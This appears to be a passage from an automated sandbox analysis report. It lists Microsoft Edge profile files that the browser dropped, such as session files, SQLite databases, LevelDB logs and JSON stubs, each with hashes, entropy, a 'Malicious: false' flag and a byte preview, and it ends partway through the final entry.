C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Session_13376794459190457

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1443
Entropy (8bit):	3.8431275999791694
Encrypted:	false
SSDEEP:	24:3dXXC6nIVblWT6cSinyeLVJlipsAF4unxUtLp3X2amEtG1ChqAa4x9uxwQKkOAM4:3dXXC6nIVblWT1SinfVJlizFSLp2FEks
MD5:	DBEEF384154EE7D3757BA1D0C0AF8742
SHA1:	F4B190DBDC8E69EF63F25D841E24D59F9D8FA879
SHA-256:	33B9A84E2C83E033617CCDA94EF5082B1ADA7B70B8FAA0E61E0BEFA6E8AF281A
SHA-512:	70718AF67E6983630EF5D3D8F0FCC4704AD2F408781DA83FB8555AE1F61DDB68C3DDFD883B56AEAAF3457EA32049378070F983EC51BAC265C4A70349FC8FE15F
Malicious:	false
Preview:	SNSS..........`..............`......"...`..............`..........`..........`..........`....!.....`..................................`...`1..,......`$...72b63f8e_eadf_45b8_b230_7499bb1d9997......`..........`....5es...........`......`..........................`....................5..0......`&...{98952893-68FF-4A5D-A164-705C709ED3DB}........`..........`.............................`..............`........edge://newtab/......N.e.w. .t.a.b...........!...............................................................x...............................x........B.a.'...B.a.'.................................. ...................................................r...h.t.t.p.s.:././.n.t.p...m.s.n...c.o.m./.e.d.g.e./.n.t.p.?.l.o.c.a.l.e.=.e.n.-.G.B.&.t.i.t.l.e.=.N.e.w.%.2.0.t.a.b.&.d.s.p.=.1.&.s.p.=.B.i.n.g.&.i.s.F.R.E.M.o.d.a.l.B.a.c.k.g.r.o.u.n.d.=.1.&.s.t.a.r.t.p.a.g.e.=.1.&.P.C.=.U.5.3.1.....................................8.......0.......8............................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Shortcuts

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.44194574462308833
Encrypted:	false
SSDEEP:	12:TLiNCcUMskMVcIWGhWxBzEXx7AAQlvsdFxOUwa5qgufTJpbZ75fOS:TLisVMnYPhIY5Qlvsd6UwccNp15fB
MD5:	B35F740AA7FFEA282E525838EABFE0A6
SHA1:	A67822C17670CCE0BA72D3E9C8DA0CE755A3421A
SHA-256:	5D599596D116802BAD422497CF68BE59EEB7A9135E3ED1C6BEACC48F73827161
SHA-512:	05C0D33516B2C1AB6928FB34957AD3E03CB0A8B7EEC0FD627DD263589655A16DEA79100B6CC29095C3660C95FD2AFB2E4DD023F0597BD586DD664769CABB67F8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g....."....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.091619318732511
Encrypted:	false
SSDEEP:	6:HGnSYVq2P923oH+Tcwt7Uh2ghZIFUt8YGn+gZmw+YGn+IkwO923oH+Tcwt7Uh2gd:CSAv4YebIhHh2FUt8Lz/+Lp5LYebIhHd
MD5:	6FD1190D25C36ECB7DDBFC7B581DFD7B
SHA1:	063C9DA240878AEB8662B84DCCD2B8B11023DE8B
SHA-256:	09EB677398D181E48E8C0F6F9486C96858069E4223D7B0DAA991653079A08D48
SHA-512:	2A86870CADA5A4B9B9EFEDF5AF4E566075595AE08797B7783D85150FD281072585DD3635B1C790E4B23134747B709BB91D248327E311678D3C2892536A3EBFF5
Malicious:	false
Preview:	2024/11/22-19:14:16.641 1de0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/22-19:14:16.642 1de0 Recovering log #3.2024/11/22-19:14:16.642 1de0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.091619318732511
Encrypted:	false
SSDEEP:	6:HGnSYVq2P923oH+Tcwt7Uh2ghZIFUt8YGn+gZmw+YGn+IkwO923oH+Tcwt7Uh2gd:CSAv4YebIhHh2FUt8Lz/+Lp5LYebIhHd
MD5:	6FD1190D25C36ECB7DDBFC7B581DFD7B
SHA1:	063C9DA240878AEB8662B84DCCD2B8B11023DE8B
SHA-256:	09EB677398D181E48E8C0F6F9486C96858069E4223D7B0DAA991653079A08D48
SHA-512:	2A86870CADA5A4B9B9EFEDF5AF4E566075595AE08797B7783D85150FD281072585DD3635B1C790E4B23134747B709BB91D248327E311678D3C2892536A3EBFF5
Malicious:	false
Preview:	2024/11/22-19:14:16.641 1de0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/22-19:14:16.642 1de0 Recovering log #3.2024/11/22-19:14:16.642 1de0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	434
Entropy (8bit):	5.231090105691423
Encrypted:	false
SSDEEP:	12:iSDM+v4YebvqBQFUt8Sg/+EEDMV5LYebvqBvJ:iM4YebvZg8DLYebvk
MD5:	9B623B8893BE5E86086DBC233CA2B524
SHA1:	1BA7F4A9B6FB6746AE48898E252A68D4F8E4366B
SHA-256:	5CE5D2C26BCDDCF9347ECAB9609EBA2876A2AF87DAE63F1518F011B3544570F3
SHA-512:	6CF93B5954E822C469C2E96AB0F0FF37971C0D2124B6EB71078F5D03FDFEE7DF80CF53349684C3EFA6199079E6E29641BEF3B1265A81230BA3B3BD36AB6EC73F
Malicious:	false
Preview:	2024/11/22-19:14:17.433 1e6c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/22-19:14:17.435 1e6c Recovering log #3.2024/11/22-19:14:17.445 1e6c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	434
Entropy (8bit):	5.231090105691423
Encrypted:	false
SSDEEP:	12:iSDM+v4YebvqBQFUt8Sg/+EEDMV5LYebvqBvJ:iM4YebvZg8DLYebvk
MD5:	9B623B8893BE5E86086DBC233CA2B524
SHA1:	1BA7F4A9B6FB6746AE48898E252A68D4F8E4366B
SHA-256:	5CE5D2C26BCDDCF9347ECAB9609EBA2876A2AF87DAE63F1518F011B3544570F3
SHA-512:	6CF93B5954E822C469C2E96AB0F0FF37971C0D2124B6EB71078F5D03FDFEE7DF80CF53349684C3EFA6199079E6E29641BEF3B1265A81230BA3B3BD36AB6EC73F
Malicious:	false
Preview:	2024/11/22-19:14:17.433 1e6c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/22-19:14:17.435 1e6c Recovering log #3.2024/11/22-19:14:17.445 1e6c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\63f1274c-40fd-4858-83e7-525214b48cf7.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\90038bab-4f9d-4a55-87e0-604487860b49.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF3d737.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF4a593.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries~RF4ccc2.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 9, cookie 0x7, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.3886039372934488
Encrypted:	false
SSDEEP:	24:TLqEeWOT/kIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:T2EeWOT/nDtX5nDOvyKDhU1cSB
MD5:	DEA619BA33775B1BAEEC7B32110CB3BD
SHA1:	949B8246021D004B2E772742D34B2FC8863E1AAA
SHA-256:	3669D76771207A121594B439280A67E3A6B1CBAE8CE67A42C8312D33BA18854B
SHA-512:	7B9741E0339B30D73FACD4670A9898147BE62B8F063A59736AFDDC83D3F03B61349828F2AE88F682D42C177AE37E18349FD41654AEBA50DDF10CD6DC70FA5879
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\a047e9c0-25b1-485b-886b-3d3d92367f41.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\bdaefcb7-fadb-4697-bfe9-e5b726e36852.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\fa46ac70-8567-48ba-9a46-ad1bf6f445ce.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	3.4921535629071894
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljl:S85aEFljl
MD5:	69449520FD9C139C534E2970342C6BD8
SHA1:	230FE369A09DEF748F8CC23AD70FD19ED8D1B885
SHA-256:	3F2E9648DFDB2DDB8E9D607E8802FEF05AFA447E17733DD3FD6D933E7CA49277
SHA-512:	EA34C39AEA13B281A6067DE20AD0CDA84135E70C97DB3CDD59E25E6536B19F7781E5FC0CA4A11C3618D43FC3BD3FBC120DD5C1C47821A248B8AD351F9F4E6367
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	422
Entropy (8bit):	5.219650048423861
Encrypted:	false
SSDEEP:	6:HgU34q2P923oH+TcwtzjqEKj0QMxIFUt8YgqJZmw+YgLF3DkwO923oH+Tcwtzjqg:ANv4YebvqBZFUt8xU/+xLF5LYebvqBaJ
MD5:	9E90DAA8F9E6FD4354E8A6A936A369A5
SHA1:	B2521702F7CDA96EEE45CDAE515E53AC18F22E85
SHA-256:	07DB5CE7A0100148F22D997034D792CB0465C36ACA45CF4B893730FF94730CA3
SHA-512:	92ED49844E69CC16DAAD3B90D4C28C117F4277D9E9FA11C31AD7269827D7F35F8A162172B440379D4DE71624D7D517263E774E159834EA3D30C12BF2012470C8
Malicious:	false
Preview:	2024/11/22-19:14:36.634 1e40 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/22-19:14:36.638 1e40 Recovering log #3.2024/11/22-19:14:36.644 1e40 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	422
Entropy (8bit):	5.219650048423861
Encrypted:	false
SSDEEP:	6:HgU34q2P923oH+TcwtzjqEKj0QMxIFUt8YgqJZmw+YgLF3DkwO923oH+Tcwtzjqg:ANv4YebvqBZFUt8xU/+xLF5LYebvqBaJ
MD5:	9E90DAA8F9E6FD4354E8A6A936A369A5
SHA1:	B2521702F7CDA96EEE45CDAE515E53AC18F22E85
SHA-256:	07DB5CE7A0100148F22D997034D792CB0465C36ACA45CF4B893730FF94730CA3
SHA-512:	92ED49844E69CC16DAAD3B90D4C28C117F4277D9E9FA11C31AD7269827D7F35F8A162172B440379D4DE71624D7D517263E774E159834EA3D30C12BF2012470C8
Malicious:	false
Preview:	2024/11/22-19:14:36.634 1e40 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/22-19:14:36.638 1e40 Recovering log #3.2024/11/22-19:14:36.644 1e40 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.18216584590618
Encrypted:	false
SSDEEP:	6:HGnWWoN+q2P923oH+TcwtpIFUt8YGnWWomWZmw+YGnWG3VkwO923oH+Tcwta/WLJ:Ci+v4YebmFUt8LXW/+Lz3V5LYebaUJ
MD5:	C30F5F051ED9B7EE21A8A72FFF6061E4
SHA1:	0EF3AE529305FAF178898B132014E9671D6A9361
SHA-256:	62D4A4DA853948C1254FE20F7E1A23C650E3D8FB7004E1C7E5D32373E8960650
SHA-512:	6896CB4DC16701783D259D07DB0AFBC1B9557450AB0233D112A2D7DE098737BD90171463B932E8243596275CDC2F0292D30BE77F59DEE09F82694816F520596A
Malicious:	false
Preview:	2024/11/22-19:14:16.633 1d3c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/22-19:14:16.633 1d3c Recovering log #3.2024/11/22-19:14:16.634 1d3c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.18216584590618
Encrypted:	false
SSDEEP:	6:HGnWWoN+q2P923oH+TcwtpIFUt8YGnWWomWZmw+YGnWG3VkwO923oH+Tcwta/WLJ:Ci+v4YebmFUt8LXW/+Lz3V5LYebaUJ
MD5:	C30F5F051ED9B7EE21A8A72FFF6061E4
SHA1:	0EF3AE529305FAF178898B132014E9671D6A9361
SHA-256:	62D4A4DA853948C1254FE20F7E1A23C650E3D8FB7004E1C7E5D32373E8960650
SHA-512:	6896CB4DC16701783D259D07DB0AFBC1B9557450AB0233D112A2D7DE098737BD90171463B932E8243596275CDC2F0292D30BE77F59DEE09F82694816F520596A
Malicious:	false
Preview:	2024/11/22-19:14:16.633 1d3c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/22-19:14:16.633 1d3c Recovering log #3.2024/11/22-19:14:16.634 1d3c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2651493996927194
Encrypted:	false
SSDEEP:	384:8/2qOB1nxCkMZSAELyKOMq+8yC8F/YfU5m+OlTLVumW:Bq+n0JZ9ELyKOMq+8y9/Owd
MD5:	5007B54B2945F2FFA395F7D54A3F86F6
SHA1:	6A67DE64A00EA13BE77D80A0BCF679C803A2233B
SHA-256:	650E1E1A0CC64CD78F354A0E496752095B19F3EB0F97D344A83BF719CE4EA5FC
SHA-512:	F94D9B0A751A5D51E21F9E430A3A4437ED12FAC9251FEC879171227A3CEDA799E66B4FCA9197C9EE6F483EE71900ED0B71AC9B51C4427D7A53F3655FF0206A1A
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\QuotaManager

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 10, cookie 0x7, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.4669321283642085
Encrypted:	false
SSDEEP:	48:Tnj7dojKsKmjKZKAsjZNOjAhts3N8g1j3UcB0un:v7doKsKuKZKlZNmu46yjx0u
MD5:	45D55925993991BDB70A4184A9FA85EB
SHA1:	6E9834E9AABEB7E174BBB4905D01C85AC787DC4D
SHA-256:	BC1427F2AF78B68945E64128A93B4DEFF1F893D7B520A11D1E7561FD89D84285
SHA-512:	3ECC280C4E0D950F2881527C5F0F5EC0E1BC1732A5E1C591E2807CC0D4C7150CFE5EB1F9080C91412DAE748975F9597C15BC0C00C2686527042A49FC990BB715
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......w..g...........M...w..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
